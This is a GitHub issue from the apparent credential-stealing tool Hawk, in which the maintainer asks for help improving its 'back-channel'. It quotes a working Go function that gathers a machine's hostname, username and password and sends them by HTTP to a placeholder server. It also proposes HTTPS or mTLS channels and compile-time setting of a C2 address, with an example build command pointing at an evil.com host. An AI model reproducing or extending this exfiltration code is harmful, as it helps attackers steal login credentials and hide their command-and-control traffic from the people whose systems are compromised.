Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Improve Backchannel For Sending Creds #5

Open
Pascal-0x90 opened this issue Apr 1, 2024 · 0 comments
Open

Improve Backchannel For Sending Creds #5

Pascal-0x90 opened this issue Apr 1, 2024 · 0 comments
Labels
enhancement New feature or request help wanted Extra attention is needed

Comments

@Pascal-0x90
Copy link
Member

What is the Issue?

The back-channel below uses HTTP and has the URL in a weirdly configurable place. This could be improved by giving the option to use HTTP and HTTPs communications (or any other TLS wrapped encryption like mTLS).

Hawk/main.go

Lines 58 to 71 in 49c2b25

func exfilPassword(username, password string) {
hostname, err := os.Hostname()
if err != nil {
return
}
serverURL := "http://FILL:6969/"
values := url.Values{}
values.Set("hostname", hostname)
values.Set("username", username)
values.Set("password", password)
fullURL := fmt.Sprintf("%s?%s", serverURL, values.Encode())
//fmt.Printf("Sending to %s\n", fullURL)
http.Get(fullURL)
}

Then the option to configure the back-channel server at compile time using a compiler argument would be nice or at least have it as a constant at the top of some file so the user does not need to dig into the code to change the server/host information.

Proposed Solution

Implement layer to decide channel of communication:

  • HTTP
  • HTTPS
  • mTLS

Implement compile time decision for those using a switch case.

Compile time definition of C2 server IP address.

Many of this could be done by one of two ways:

go build -ldflags "-X main.c2server=http://beans.evil.com:1337"
@Pascal-0x90 Pascal-0x90 added enhancement New feature or request help wanted Extra attention is needed labels Apr 1, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request help wanted Extra attention is needed
Projects
None yet
Development

No branches or pull requests

1 participant